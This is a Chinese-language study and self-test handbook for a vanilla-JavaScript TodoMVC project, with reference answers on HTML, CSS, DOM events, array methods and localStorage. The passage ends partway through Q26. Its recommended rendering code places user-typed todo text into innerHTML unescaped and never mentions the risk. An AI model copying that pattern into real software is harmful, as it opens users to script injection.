📝 TodoMVC 学习检测手册
本手册基于https://github.com/Jaxon1216/todomvc-vanillajs/项目实际代码,帮助你检验学习成果
使用说明
- 建议完成对应教程后再做自测
- 先独立思考答案,再点击查看参考答案
- 所有代码示例均来自项目源码(
app.js、index.html、style.css) - 答案仅供参考,实现方式可以不同
📚 基础篇检测(Todo List)
对应教程:基础篇(暂无链接) 学习目标:HTML 语义化、CSS Flex、DOM 操作、事件委托、localStorage、数组方法
一、HTML & CSS(8题)
Q1: 项目使用了哪些 HTML5 语义化标签?它们各自有什么作用?
💡 点击查看参考答案
项目中使用的语义化标签:
<aside>- 侧边栏容器,表示辅助内容<nav>- 导航菜单区域<main>- 主要内容区域<section>- 独立的内容区块(各个视图)<header>- 页面头部<ul>/<li>- 无序列表,用于 Todo 列表
为什么要使用语义化标签?
- ✅ 提高代码可读性
- ✅ 有利于 SEO(搜索引擎优化)
- ✅ 辅助屏幕阅读器,提升无障碍访问
- ✅ 便于团队协作和维护
示例: (来自 index.html 第 19-42 行)
<aside class="sidebar">
<div class="sidebar-header">
<h1 class="logo">📝 TodoMVC</h1>
<p class="tagline">纯原生 JS 实战</p>
</div>
<nav class="nav-menu">
<button class="nav-item active" data-view="todo">
<span class="nav-icon">✅</span>
<span class="nav-text">Todo List</span>
</button>
</nav>
</aside>Q2: 项目如何实现左右两栏布局?
💡 点击查看参考答案
核心技术:CSS Flexbox
代码实现: (来自 style.css 第 172-175 行)
.app-container {
display: flex;
min-height: 100vh;
}布局说明:
.app-container使用display: flex创建弹性容器- 默认
flex-direction: row(横向排列) - 侧边栏固定宽度 240px,主内容区自动填充剩余空间
侧边栏固定定位: (第 180-189 行)
.sidebar {
width: var(--sidebar-width);
background-color: var(--sidebar-bg);
display: flex;
flex-direction: column;
position: fixed; /* 固定定位,不随页面滚动 */
left: 0;
top: 0;
bottom: 0;
}主内容区: (第 247-252 行)
.main-content {
flex: 1; /* 占据剩余空间 */
margin-left: var(--sidebar-width); /* 留出侧边栏宽度 */
padding: 40px 48px;
background-color: var(--main-bg);
}Q3: CSS 变量如何定义和使用?项目中定义了哪些 CSS 变量?
💡 点击查看参考答案
CSS 变量语法:
/* 定义变量(在 :root 中定义为全局变量) */
:root {
--变量名: 值;
}
/* 使用变量 */
.selector {
property: var(--变量名);
}项目中的 CSS 变量: (来自 style.css 第 124-143 行)
:root {
/* 主色调 - 低饱和浅天蓝 */
--sidebar-bg: #e8f4fc;
--sidebar-hover: #d0e8f5;
--sidebar-active: #b8dced;
/* 背景色 */
--main-bg: #ffffff;
/* 文字颜色 */
--text-primary: #2c3e50;
--text-secondary: #7f8c8d;
/* 功能色 */
--primary-color: #5dade2;
/* 尺寸 */
--sidebar-width: 240px;
--border-radius: 8px;
}使用示例:
.sidebar {
width: var(--sidebar-width);
background-color: var(--sidebar-bg);
}
.btn-primary {
background-color: var(--primary-color);
border-radius: var(--border-radius);
}优势:
- ✅ 统一管理颜色和尺寸
- ✅ 方便主题切换
- ✅ 便于响应式调整(在媒体查询中重新定义变量)
Q4: 如何实现复选框的自定义样式?
💡 点击查看参考答案
实现思路: 不使用原生 <input type="checkbox">,而是用 <div> 配合 CSS 伪元素实现。
HTML 结构: (来自 index.html 第 217 行)
<li class="todo-item completed" data-id="123">
<div class="todo-checkbox"></div>
<span class="todo-text">学习 JavaScript</span>
<button class="todo-delete">删除</button>
</li>CSS 样式: (来自 style.css 第 493-522 行)
/* 复选框样式 */
.todo-checkbox {
width: 22px;
height: 22px;
border: 2px solid #ecf0f1;
border-radius: 50%; /* 圆形 */
margin-right: 14px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s;
flex-shrink: 0;
}
.todo-checkbox:hover {
border-color: var(--primary-color);
}
/* 已完成状态 */
.todo-item.completed .todo-checkbox {
background-color: #58d68d; /* 绿色背景 */
border-color: #58d68d;
}
.todo-item.completed .todo-checkbox::after {
content: "✓"; /* 使用伪元素添加对号 */
color: white;
font-size: 12px;
font-weight: bold;
}关键技术:
::after伪元素添加对号.completed类控制完成状态- JavaScript 通过切换类名实现交互
Q5: 空状态提示如何实现显示/隐藏?
💡 点击查看参考答案
HTML 结构: (来自 index.html 第 75-78 行)
<div class="empty-state" id="todo-empty">
<p>🎉 暂无待办事项</p>
<p class="empty-hint">在上方输入框添加你的第一个任务吧!</p>
</div>CSS 样式: (来自 style.css 第 547-567 行)
.empty-state {
text-align: center;
padding: 60px 20px;
color: var(--text-secondary);
display: none; /* 默认隐藏 */
}
.empty-state.show {
display: block; /* 有 show 类时显示 */
}JavaScript 控制: (来自 app.js 第 199-204 行)
// 如果没有 Todo 项,显示空状态
if (todos.length === 0) {
todoList.innerHTML = '';
todoEmpty.classList.add('show');
return;
}
// 隐藏空状态
todoEmpty.classList.remove('show');实现原理:
- 默认
display: none隐藏 - JavaScript 根据数据长度动态添加/移除
show类 - 有数据时隐藏,无数据时显示
Q6: 筛选按钮的激活状态如何实现?
💡 点击查看参考答案
HTML 结构: (来自 index.html 第 64-69 行)
<div class="todo-filters">
<button class="filter-btn active" data-filter="all">全部</button>
<button class="filter-btn" data-filter="active">未完成</button>
<button class="filter-btn" data-filter="completed">已完成</button>
<span class="todo-count">共 <span id="todo-count-num">0</span> 项</span>
</div>CSS 样式: (来自 style.css 第 435-451 行)
.filter-btn {
padding: 8px 16px;
border-radius: 20px;
font-size: 13px;
color: var(--text-secondary);
background-color: #f8f9fa;
transition: all 0.2s;
}
.filter-btn:hover {
background-color: #ecf0f1;
}
.filter-btn.active {
background-color: var(--primary-color); /* 激活时蓝色背景 */
color: white;
}JavaScript 控制: (来自 app.js 第 88-100 行)
// 筛选按钮点击事件
filterBtns.forEach(function(btn) {
btn.addEventListener('click', function() {
// 移除所有按钮的 active 类
filterBtns.forEach(function(b) {
b.classList.remove('active');
});
// 为当前点击的按钮添加 active 类
this.classList.add('active');
// 更新筛选状态并重新渲染
currentFilter = this.getAttribute('data-filter');
renderTodos();
});
});关键点:
- 使用
.active类控制激活状态 - 点击时先移除所有按钮的
active,再给当前按钮添加 - 确保同一时间只有一个按钮处于激活状态
Q7: 悬停效果(hover)如何实现?
💡 点击查看参考答案
CSS :hover 伪类
:hover 是 CSS 的伪类选择器,当鼠标悬停在元素上时触发。
示例1:导航按钮悬停 (来自 style.css 第 223-225 行)
.nav-item:hover {
background-color: var(--sidebar-hover);
}示例2:Todo 项悬停 (第 478-480 行)
.todo-item:hover {
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.06);
}示例3:按钮悬停 (第 390-392 行)
.btn-primary:hover {
background-color: #3498db;
}示例4:复选框悬停 (第 507-509 行)
.todo-checkbox:hover {
border-color: var(--primary-color);
}要点:
:hover后面的样式只在鼠标悬停时生效- 配合
transition实现平滑过渡动画 - 提升用户体验,让交互更明显
Q8: transition 过渡动画如何使用?
💡 点击查看参考答案
transition 语法:
transition: 属性 持续时间 时间函数 延迟;项目中的应用:
示例1:通用按钮过渡 (来自 style.css 第 377-383 行)
.btn {
padding: 10px 20px;
border-radius: var(--border-radius);
font-size: 14px;
font-weight: 500;
transition: all 0.2s; /* 所有属性变化都有 0.2 秒过渡 */
}示例2:输入框过渡 (第 403-412 行)
.todo-input {
flex: 1;
padding: 14px 18px;
background-color: #f8f9fa;
border: 2px solid transparent;
border-radius: var(--border-radius);
font-size: 15px;
outline: none;
transition: all 0.2s;
}
.todo-input:focus {
background-color: white;
border-color: var(--primary-color);
}效果说明:
- 当输入框获得焦点时,背景色和边框颜色的变化会平滑过渡
all表示所有属性都应用过渡0.2s表示过渡持续 0.2 秒
常用属性值:
transition: all 0.2s- 所有属性都过渡transition: background-color 0.3s- 只对背景色过渡transition: transform 0.2s, opacity 0.3s- 多个属性不同时长
二、JavaScript 基础(10题)
Q9: DOMContentLoaded 事件的作用是什么?为什么要使用它?
💡 点击查看参考答案
代码: (来自 app.js 第 13-20 行)
// 等待 DOM 加载完成后再执行代码
document.addEventListener('DOMContentLoaded', function() {
initTodoList();
initNavigation();
initCountdown();
startCountdownTimer();
initTimeline();
});作用:
- 等待 HTML 文档完全加载和解析后再执行 JavaScript
- 确保 DOM 元素都已经存在,可以被正确获取
为什么需要?
错误示例:
<script src="app.js"></script> <!-- JS 在 body 之前加载 -->
<body>
<div id="todo-list"></div>
</body>如果 JavaScript 在 HTML 之前执行:
const todoList = document.getElementById('todo-list');
// todoList 是 null,因为 DOM 还没加载正确做法:
方式1:把 <script> 放在 </body> 之前
<body>
<div id="todo-list"></div>
<script src="app.js"></script> <!-- HTML 之后 -->
</body>方式2:使用 DOMContentLoaded(更推荐)
document.addEventListener('DOMContentLoaded', function() {
// 这里的代码会在 DOM 加载完成后执行
const todoList = document.getElementById('todo-list'); // ✅ 正常获取
});Q10: 如何获取 DOM 元素?项目中使用了哪些方法?
💡 点击查看参考答案
项目中使用的 DOM 获取方法:
方法1:getElementById (最常用)
const todoInput = document.getElementById('todo-input');
const addTodoBtn = document.getElementById('add-todo-btn');方法2:querySelectorAll(获取多个元素)
const filterBtns = document.querySelectorAll('.filter-btn');
const navItems = document.querySelectorAll('.nav-item');完整示例: (来自 app.js 第 67-76 行)
function initTodoList() {
// getElementById - 通过 ID 获取单个元素
const todoInput = document.getElementById('todo-input');
const addTodoBtn = document.getElementById('add-todo-btn');
// 点击添加按钮时添加新 Todo
addTodoBtn.addEventListener('click', function() {
addTodo();
});
// ... 其他代码
// querySelectorAll - 通过类名获取多个元素
const filterBtns = document.querySelectorAll('.filter-btn');
filterBtns.forEach(function(btn) {
// 为每个按钮添加事件
});
}DOM 获取方法对比:
| 方法 | 返回值 | 语法 |
|---|---|---|
getElementById | 单个元素 | document.getElementById('id') |
querySelector | 单个元素(第一个匹配) | document.querySelector('.class') |
querySelectorAll | NodeList(类数组) | document.querySelectorAll('.class') |
getElementsByClassName | HTMLCollection | document.getElementsByClassName('class') |
项目中主要使用前两种,推荐理由:
getElementById- 性能最好,语义清晰querySelectorAll- 功能强大,支持复杂选择器
Q11: 如何监听事件?addEventListener 的用法是什么?
💡 点击查看参考答案
语法:
element.addEventListener(事件类型, 处理函数, 可选参数);项目中的应用:
示例1:点击事件 (来自 app.js 第 73-75 行)
addTodoBtn.addEventListener('click', function() {
addTodo();
});示例2:键盘事件 (第 78-83 行)
todoInput.addEventListener('keypress', function(event) {
// event.key === 'Enter' 表示按下了回车键
if (event.key === 'Enter') {
addTodo();
}
});示例3:change 事件 (第 339-348 行)
countdownList.addEventListener('change', function(event) {
const target = event.target;
if (target.classList.contains('countdown-edit-date')) {
const card = target.closest('.countdown-card');
if (card) {
const countdownId = parseInt(card.getAttribute('data-id'));
updateCountdownDate(countdownId, target.value);
}
}
});常用事件类型:
click- 点击keypress/keydown/keyup- 键盘按键change- 表单元素值改变input- 输入框内容改变(实时)submit- 表单提交focus/blur- 获得/失去焦点
事件对象(event):
element.addEventListener('click', function(event) {
event.target; // 触发事件的元素
event.key; // 按下的键(键盘事件)
event.preventDefault(); // 阻止默认行为
event.stopPropagation(); // 阻止冒泡
});Q12: 模板字符串的语法是什么?它有哪些优势?
💡 点击查看参考答案
语法:
`字符串内容 ${变量或表达式}`项目中的应用: (来自 app.js 第 215-221 行)
html += `
<li class="todo-item ${completedClass}" data-id="${todo.id}">
<div class="todo-checkbox"></div>
<span class="todo-text">${todo.text}</span>
<button class="todo-delete">删除</button>
</li>
`;优势对比:
传统字符串拼接:
var html = '<li class="todo-item ' + completedClass + '" data-id="' + todo.id + '">' +
'<div class="todo-checkbox"></div>' +
'<span class="todo-text">' + todo.text + '</span>' +
'<button class="todo-delete">删除</button>' +
'</li>';模板字符串:
const html = `
<li class="todo-item ${completedClass}" data-id="${todo.id}">
<div class="todo-checkbox"></div>
<span class="todo-text">${todo.text}</span>
<button class="todo-delete">删除</button>
</li>
`;优势:
- ✅ 可读性强,接近 HTML 原貌
- ✅ 支持多行字符串
- ✅ 支持嵌套表达式
${2 + 3}→5 - ✅ 不需要频繁使用
+拼接
表达式示例:
const daysLabel = daysRemaining > 0 ? '天后' : '天前';
html += `<span>${Math.abs(daysRemaining)} ${daysLabel}</span>`;Q13: forEach 方法如何使用?
💡 点击查看参考答案
语法:
数组.forEach(function(元素, 索引, 数组本身) {
// 处理每个元素
});项目中的应用:
示例1:遍历数组生成 HTML (来自 app.js 第 210-222 行)
let html = '';
todos.forEach(function(todo) {
const completedClass = todo.completed ? 'completed' : '';
html += `
<li class="todo-item ${completedClass}" data-id="${todo.id}">
<div class="todo-checkbox"></div>
<span class="todo-text">${todo.text}</span>
<button class="todo-delete">删除</button>
</li>
`;
});
todoList.innerHTML = html;示例2:为每个按钮添加事件 (第 88-100 行)
const filterBtns = document.querySelectorAll('.filter-btn');
filterBtns.forEach(function(btn) {
btn.addEventListener('click', function() {
filterBtns.forEach(function(b) {
b.classList.remove('active');
});
this.classList.add('active');
currentFilter = this.getAttribute('data-filter');
renderTodos();
});
});参数说明:
['苹果', '香蕉', '橙子'].forEach(function(item, index, array) {
console.log(index, item);
// 0 "苹果"
// 1 "香蕉"
// 2 "橙子"
});与 for 循环对比:
// for 循环
for (let i = 0; i < todos.length; i++) {
const todo = todos[i];
// 处理 todo
}
// forEach(更简洁)
todos.forEach(function(todo) {
// 处理 todo
});注意:
forEach不能使用break或continue- 如果需要中断循环,使用
for或some/every
Q14: 如何给动态生成的元素绑定事件?什么是事件委托?
💡 点击查看参考答案
问题场景:
Todo 项是通过 JavaScript 动态生成的,如果直接绑定会失效:
// ❌ 错误示例:动态元素绑定不了
function renderTodos() {
// 生成 HTML
todoList.innerHTML = html;
// 这些元素是新生成的,之前的事件监听器失效了
const deleteBtn = document.querySelector('.todo-delete');
deleteBtn.addEventListener('click', function() {
// 只能绑定到第一个按钮,且每次重新渲染都会失效
});
}解决方案:事件委托
**原理:**利用事件冒泡,在父元素上监听子元素的事件。
代码实现: (来自 app.js 第 102-124 行)
// 获取Todo 列表容器(父元素)
const todoList = document.getElementById('todo-list');
// 使用事件委托处理列表中的点击事件
todoList.addEventListener('click', function(event) {
// event.target 是实际被点击的元素
const target = event.target;
// 获取被点击元素所属的 Todo 项
const todoItem = target.closest('.todo-item');
if (!todoItem) return; // 如果没找到,说明点击的不是 Todo 项内部
// 获取 Todo 项的 ID(从 data-id 属性读取)
const todoId = parseInt(todoItem.getAttribute('data-id'));
// 判断点击的是复选框还是删除按钮
if (target.classList.contains('todo-checkbox')) {
toggleTodo(todoId);
} else if (target.classList.contains('todo-delete')) {
deleteTodo(todoId);
}
});事件冒泡示意图:
<ul id="todo-list"> ← 在这里监听事件(父元素)
<li class="todo-item">
<button class="todo-delete">删除</button> ← 实际点击这里
</li>
</ul>点击按钮 → 事件冒泡到 <li> → 继续冒泡到 <ul> → 触发监听器
优势:
- ✅ 只需绑定一次事件
- ✅ 动态添加的元素也能响应
- ✅ 性能更好(只有一个监听器)
关键方法:
event.target- 实际被点击的元素closest('.class')- 向上查找最近的匹配元素classList.contains('class')- 判断是否包含某个类名
Q15: trim() 方法的作用是什么?
💡 点击查看参考答案
**作用:**去除字符串首尾的空白字符(空格、制表符、换行符等)。
项目中的应用: (来自 app.js 第 139-145 行)
function addTodo() {
const todoInput = document.getElementById('todo-input');
const text = todoInput.value.trim(); // 去除首尾空格
// 如果输入为空,不添加
if (text === '') {
return;
}
// ...
}为什么需要 trim()?
没有 trim() 的问题:
// 用户输入:" 学习 JavaScript "(前后有空格)
const text = todoInput.value;
if (text === '') {
return; // ❌ 不会执行,因为 " " !== ""
}
// 结果:会添加一个显示为空白的 Todo 项使用 trim() 后:
// 用户输入:" 学习 JavaScript "
const text = todoInput.value.trim(); // → "学习 JavaScript"
if (text === '') {
return; // ✅ 如果只有空格,trim() 后为 "",会被拦截
}示例:
const str1 = " hello ";
console.log(str1.trim()); // "hello"
const str2 = " \n\t ";
console.log(str2.trim()); // ""
const str3 = " a b c ";
console.log(str3.trim()); // "a b c"(中间的空格不会被去除)用途:
- 表单验证(防止用户只输入空格)
- 数据清洗
- 搜索功能(用户可能无意中输入了空格)
Q16: Date.now() 生成的是什么?为什么可以用作唯一 ID?
💡 点击查看参考答案
Date.now() 返回什么?
返回当前时间的时间戳(毫秒数)。
项目中的应用: (来自 app.js 第 147-151 行)
const newTodo = {
id: Date.now(), // 使用时间戳作为唯一 ID
text: text,
completed: false
};时间戳是什么?
从 1970 年 1 月 1 日 00:00:00 UTC 到现在经过的毫秒数。
console.log(Date.now()); // 1703473800123(13 位数字)为什么可以用作唯一 ID?
- ✅ 每次调用都返回不同的值(时间在流逝)
- ✅ 数字类型,方便比较和排序
- ✅ 简单易用,不需要额外的 ID 生成库
示例:
console.log(Date.now()); // 1703473800123
setTimeout(() => {
console.log(Date.now()); // 1703473800456(不同)
}, 100);注意事项:
⚠️ 极端情况下可能重复: 如果在极短时间内(< 1毫秒)连续添加多个 Todo,可能会生成相同的 ID。
更严谨的做法:
// 方案1:加上随机数
id: Date.now() + Math.random()
// 方案2:使用计数器
let counter = 0;
id: Date.now() + (counter++)
// 方案3:使用 UUID 库(生产环境推荐)但对于学习项目,Date.now() 已经足够了。
Q17: data- 自定义属性如何使用?
💡 点击查看参考答案
**data- 属性:**HTML5 允许在元素上添加自定义数据属性。
语法:
<元素 data-属性名="值">项目中的应用:
示例1:存储 Todo ID (来自 app.js 第 216 行)
<li class="todo-item" data-id="1703473800123">
<span class="todo-text">学习 JavaScript</span>
</li>读取 data 属性: (第 114 行)
const todoItem = target.closest('.todo-item');
const todoId = parseInt(todoItem.getAttribute('data-id'));
// todoId = 1703473800123示例2:存储视图名称 (来自 index.html 第 26 行)
<button class="nav-item active" data-view="todo">
<span class="nav-icon">✅</span>
<span class="nav-text">Todo List</span>
</button>读取并使用: (来自 app.js 第 32-49 行)
navItem.addEventListener('click', function() {
// 获取要显示的视图名称
const targetView = this.getAttribute('data-view'); // "todo"
// 显示目标视图
const targetViewElement = document.getElementById(targetView + '-view');
// → document.getElementById('todo-view')
});示例3:存储筛选类型 (第 64 行)
<button class="filter-btn active" data-filter="all">全部</button>currentFilter = this.getAttribute('data-filter'); // "all"使用场景:
- 存储ID、索引、类型等数据
- 传递配置信息
- 替代全局变量
优势:
- ✅ 符合 HTML5 标准
- ✅ 数据和元素绑定在一起
- ✅ 便于事件委托时获取数据
Q18: console.log() 的作用是什么?如何使用浏览器开发者工具查看?
💡 点击查看参考答案
**作用:**在浏览器控制台输出信息,用于调试。
项目中的应用: (来自 app.js 第 164-165 行)
console.log('添加了新 Todo:', newTodo);
console.log('当前所有 Todo:', todos);如何查看:
打开浏览器开发者工具:
- Windows/Linux: 按
F12或Ctrl + Shift + I - Mac: 按
Cmd + Option + I
- Windows/Linux: 按
切换到 Console(控制台)面板
查看输出信息
常用用法:
// 输出字符串
console.log('Hello');
// 输出变量
const name = 'Tom';
console.log(name); // Tom
// 输出多个值
console.log('用户:', name, '年龄:', 18);
// 输出对象
const todo = { id: 123, text: '学习', completed: false };
console.log(todo); // 可以展开查看对象内容
// 输出数组
const todos = [todo1, todo2];
console.log(todos); // 可以展开查看数组元素其他 console 方法:
console.warn('这是警告'); // ⚠️ 黄色警告
console.error('这是错误'); // ❌ 红色错误
console.table(todos); // 📊 以表格形式展示数组/对象
console.clear(); // 清空控制台调试技巧:
function addTodo() {
console.log('🔍 开始添加 Todo');
const text = todoInput.value.trim();
console.log('📝 输入内容:', text);
if (text === '') {
console.log('❌ 输入为空,停止添加');
return;
}
const newTodo = { id: Date.now(), text, completed: false };
console.log('✅ 创建了新 Todo:', newTodo);
todos.push(newTodo);
console.log('📚 当前所有 Todo:', todos);
}项目中的调试输出位置:
- 添加 Todo 后(第 164-165 行)
- 删除 Todo 后(第 243 行)
- 切换状态后(第 263 行)
三、Todo 核心功能(10题)
Q19: 如何实现添加 Todo 功能?请写出核心代码和步骤。
💡 点击查看参考答案
核心步骤:
- 获取输入框的值并去除空格
- 验证输入不为空
- 创建 Todo 对象(包含 id、text、completed)
- 添加到数组
- 保存到 localStorage
- 清空输入框
- 重新渲染列表
完整代码: (来自 app.js 第 139-166 行)
function addTodo() {
const todoInput = document.getElementById('todo-input');
const text = todoInput.value.trim();
// 如果输入为空,不添加
if (text === '') {
return;
}
const newTodo = {
id: Date.now(),
text: text,
completed: false,
};
// 添加到数组
todos.push(newTodo);
saveTodosToStorage();
// 清空输入框
todoInput.value = '';
// 重新渲染列表
renderTodos();
// 在控制台输出,方便调试
console.log('添加了新 Todo:', newTodo);
console.log('当前所有 Todo:', todos);
}数据结构:
const newTodo = {
id: 1703473800123, // 唯一标识符(时间戳)
text: "学习 JavaScript", // Todo 的文本内容
completed: false // 是否已完成
};关键知识点:
trim()- 去除首尾空格,防止添加空白 TodoDate.now()- 生成唯一 IDpush()- 添加元素到数组末尾value = ''- 清空输入框
Q20: 如何实现删除 Todo 功能?filter 方法的作用是什么?
💡 点击查看参考答案
**filter() 方法:**创建一个新数组,包含通过测试的所有元素。
语法:
const 新数组 = 原数组.filter(function(元素) {
return 条件; // 返回 true 则保留,false 则排除
});删除功能实现: (来自 app.js 第 234-244 行)
function deleteTodo(id) {
// 使用 filter 方法创建一个新数组,排除要删除的项
todos = todos.filter(function(item) {
return item.id !== id; // 保留 id 不等于要删除的 id 的项
});
saveTodosToStorage();
// 重新渲染
renderTodos();
console.log('删除了 ID 为', id, '的 Todo');
}理解 filter() 的工作原理:
// 假设有以下 todos 数组
const todos = [
{ id: 1, text: '学习 HTML', completed: false },
{ id: 2, text: '学习 CSS', completed: true },
{ id: 3, text: '学习 JavaScript', completed: false }
];
// 要删除 id 为 2 的项
const id = 2;
// filter 会遍历每个元素
todos = todos.filter(function(item) {
return item.id !== id;
});
// 执行过程:
// item.id = 1, 1 !== 2 → true → 保留
// item.id = 2, 2 !== 2 → false → 排除
// item.id = 3, 3 !== 2 → true → 保留
// 结果:
[
{ id: 1, text: '学习 HTML', completed: false },
{ id: 3, text: '学习 JavaScript', completed: false }
]重点:
filter()不会修改原数组,返回新数组- 所以需要重新赋值:
todos = todos.filter(...) !==表示"不等于",保留不匹配的项
常见错误:
// ❌ 错误1:忘记重新赋值
todos.filter(function(item) {
return item.id !== id;
});
// todos 仍然是原来的数组
// ❌ 错误2:条件写反了
todos = todos.filter(function(item) {
return item.id === id; // 只保留要删除的,结果反了
});
// ✅ 正确
todos = todos.filter(function(item) {
return item.id !== id;
});Q21: 如何切换 Todo 的完成状态?find 方法的作用是什么?
💡 点击查看参考答案
**find() 方法:**返回数组中第一个满足条件的元素。
切换功能实现: (来自 app.js 第 250-265 行)
function toggleTodo(id) {
// 在数组中找到对应的 Todo 项
const todo = todos.find(function(item) {
return item.id === id;
});
if (todo) {
// 切换完成状态(true 变 false,false 变 true)
todo.completed = !todo.completed;
saveTodosToStorage();
// 重新渲染
renderTodos();
console.log('切换了 Todo 状态:', todo);
}
}find() 工作原理:
const todos = [
{ id: 1, text: '学习 HTML', completed: false },
{ id: 2, text: '学习 CSS', completed: true },
{ id: 3, text: '学习 JavaScript', completed: false }
];
// 查找 id 为 2 的项
const todo = todos.find(function(item) {
return item.id === 2;
});
// 返回:{ id: 2, text: '学习 CSS', completed: true }切换完成状态:
// ! 是逻辑非运算符
todo.completed = !todo.completed;
// 等价于:
if (todo.completed === true) {
todo.completed = false;
} else {
todo.completed = true;
}关键点:
find()找到就停止,不会继续遍历find()返回元素本身(不是副本),修改会影响原数组!运算符用于取反
Q22: 如何实现筛选功能?请写出核心代码。
💡 点击查看参考答案
实现思路:
- 维护一个全局变量
currentFilter记录当前筛选状态 - 点击筛选按钮时更新
currentFilter - 渲染时根据
currentFilter过滤数组
核心代码: (来自 app.js 第 63-100、176-195 行)
// 全局变量,记录当前筛选状态
let currentFilter = 'all'; // 'all' | 'active' | 'completed'
// 初始化时绑定筛选按钮事件
function initTodoList() {
const filterBtns = document.querySelectorAll('.filter-btn');
filterBtns.forEach(function(btn) {
btn.addEventListener('click', function() {
// 更新按钮状态
filterBtns.forEach(function(b) {
b.classList.remove('active');
});
this.classList.add('active');
// 更新筛选状态并重新渲染
currentFilter = this.getAttribute('data-filter');
renderTodos();
});
});
}
// 渲染时根据 currentFilter 过滤
function renderTodos() {
// 根据筛选条件过滤 Todo 项
let filteredTodos;
if (currentFilter === 'active') {
filteredTodos = todos.filter(function(item) {
return !item.completed; // 未完成的
});
} else if (currentFilter === 'completed') {
filteredTodos = todos.filter(function(item) {
return item.completed; // 已完成的
});
} else {
filteredTodos = todos; // 全部
}
// 使用过滤后的数组渲染
filteredTodos.forEach(function(todo) {
// 生成 HTML
});
}筛选逻辑:
// 全部:不过滤
filteredTodos = todos;
// 未完成:completed 为 false
filteredTodos = todos.filter(function(item) {
return !item.completed;
// 等价于 return item.completed === false;
});
// 已完成:completed 为 true
filteredTodos = todos.filter(function(item) {
return item.completed;
// 等价于 return item.completed === true;
});关键点:
- 不修改原数组
todos,只是用过滤后的数组渲染 - 每次筛选都重新渲染整个列表
- 按钮状态和数据状态分离管理
Q23: renderTodos 函数的执行流程是什么?
💡 点击查看参考答案
完整流程: (来自 app.js 第 176-225 行)
function renderTodos() {
// 1. 获取 DOM 元素
const todoList = document.getElementById('todo-list');
const todoEmpty = document.getElementById('todo-empty');
const todoCountNum = document.getElementById('todo-count-num');
// 2. 根据筛选条件过滤数据
let filteredTodos;
if (currentFilter === 'active') {
filteredTodos = todos.filter(item => !item.completed);
} else if (currentFilter === 'completed') {
filteredTodos = todos.filter(item => item.completed);
} else {
filteredTodos = todos;
}
// 3. 更新计数
todoCountNum.textContent = filteredTodos.length;
// 4. 判断是否为空
if (todos.length === 0) {
todoList.innerHTML = '';
todoEmpty.classList.add('show');
return; // 提前返回
}
// 5. 隐藏空状态
todoEmpty.classList.remove('show');
// 6. 生成 HTML 字符串
let html = '';
filteredTodos.forEach(function(todo) {
const completedClass = todo.completed ? 'completed' : '';
html += `
<li class="todo-item ${completedClass}" data-id="${todo.id}">
<div class="todo-checkbox"></div>
<span class="todo-text">${todo.text}</span>
<button class="todo-delete">删除</button>
</li>
`;
});
// 7. 更新 DOM
todoList.innerHTML = html;
}流程图:
开始
↓
获取 DOM 元素
↓
根据 currentFilter 过滤数组
↓
更新计数显示
↓
判断:todos 是否为空?
是 → 显示空状态,结束
否 ↓
隐藏空状态
↓
遍历 filteredTodos,拼接 HTML
↓
更新 DOM(innerHTML)
↓
结束何时调用 renderTodos()?
- 添加 Todo 后
- 删除 Todo 后
- 切换完成状态后
- 点击筛选按钮后
- 页面初始加载时
性能考虑: 每次都重新生成完整的 HTML(简单但不是最优)。更高效的做法是只更新变化的部分,但对于学习项目,简单优先。
四、localStorage(5题)
Q24: localStorage 如何保存数据?为什么要用 JSON.stringify?
💡 点击查看参考答案
localStorage 简介: 浏览器提供的本地存储 API,数据永久保存(除非手动清除)。
基本用法:
// 保存数据
localStorage.setItem('key', 'value');
// 读取数据
const value = localStorage.getItem('key');
// 删除数据
localStorage.removeItem('key');
// 清空所有数据
localStorage.clear();项目中的保存函数: (来自 app.js 第 267-270 行)
function saveTodosToStorage() {
// 把数组转换成 JSON 字符串后存储
localStorage.setItem('todos', JSON.stringify(todos));
}为什么要用 JSON.stringify?
问题:localStorage 只能存储字符串
const todos = [
{ id: 1, text: '学习', completed: false }
];
// ❌ 错误:直接保存对象/数组
localStorage.setItem('todos', todos);
// 实际存储的是:"[object Object]"(没用)
// ✅ 正确:转换成 JSON 字符串
localStorage.setItem('todos', JSON.stringify(todos));
// 实际存储的是:'[{"id":1,"text":"学习","completed":false}]'JSON.stringify 的作用:
const todos = [
{ id: 1, text: '学习 HTML' },
{ id: 2, text: '学习 CSS' }
];
const json = JSON.stringify(todos);
console.log(json);
// '[{"id":1,"text":"学习 HTML"},{"id":2,"text":"学习 CSS"}]'
// 这是一个字符串,可以保存到 localStorage查看 localStorage 数据:
- 打开浏览器开发者工具(F12)
- 切换到 Application 面板
- 左侧选择 Local Storage → 网站域名
- 可以看到
todos键和对应的 JSON 字符串值
Q25: localStorage 如何读取数据?为什么要用 JSON.parse?
💡 点击查看参考答案
读取函数: (来自 app.js 第 276-286 行)
function loadTodosFromStorage() {
const stored = localStorage.getItem('todos');
if (stored) {
try {
todos = JSON.parse(stored);
} catch (e) {
// 如果解析失败,使用空数组
todos = [];
}
}
}为什么要用 JSON.parse?
从 localStorage 读取的是字符串,需要转换回对象/数组
// localStorage 中存储的是字符串
const stored = localStorage.getItem('todos');
console.log(typeof stored); // "string"
console.log(stored);
// '[{"id":1,"text":"学习","completed":false}]'
// ❌ 错误:直接使用字符串
todos = stored;
todos.forEach(function(todo) {
// 报错!字符串没有 forEach 方法
});
// ✅ 正确:用 JSON.parse 转换成数组
todos = JSON.parse(stored);
console.log(typeof todos); // "object"
console.log(Array.isArray(todos)); // true
todos.forEach(function(todo) {
// ✅ 正常工作
});JSON.parse 的作用:
const jsonString = '[{"id":1,"text":"学习"}]';
const array = JSON.parse(jsonString);
console.log(jsonString); // '[{"id":1,"text":"学习"}]' (字符串)
console.log(array); // [{ id: 1, text: "学习" }] (数组)为什么用 try...catch?
防止 localStorage 中的数据被手动篡改导致解析失败:
// 如果用户在浏览器中手动修改了 localStorage
// 例如改成了无效的 JSON:'[{invalid json'
try {
todos = JSON.parse(stored); // 尝试解析
} catch (e) {
// 解析失败,使用空数组
todos = [];
}完整流程:
保存:todos(数组)
→ JSON.stringify(转成字符串)
→ localStorage.setItem(保存到浏览器)
读取:localStorage.getItem(从浏览器读取)
→ JSON.parse(转回数组)
→ todos(数组)Q26: 什么时候需要调用 saveTodosToStorage?
💡 点击查看参考答案
原则:只要修改了 todos 数组,就要保存到 localStorage。
项目中调用的位置:
1. 添加 Todo 后 (第 155 行)
function addTodo() {
// ...
todos.push(newTodo);
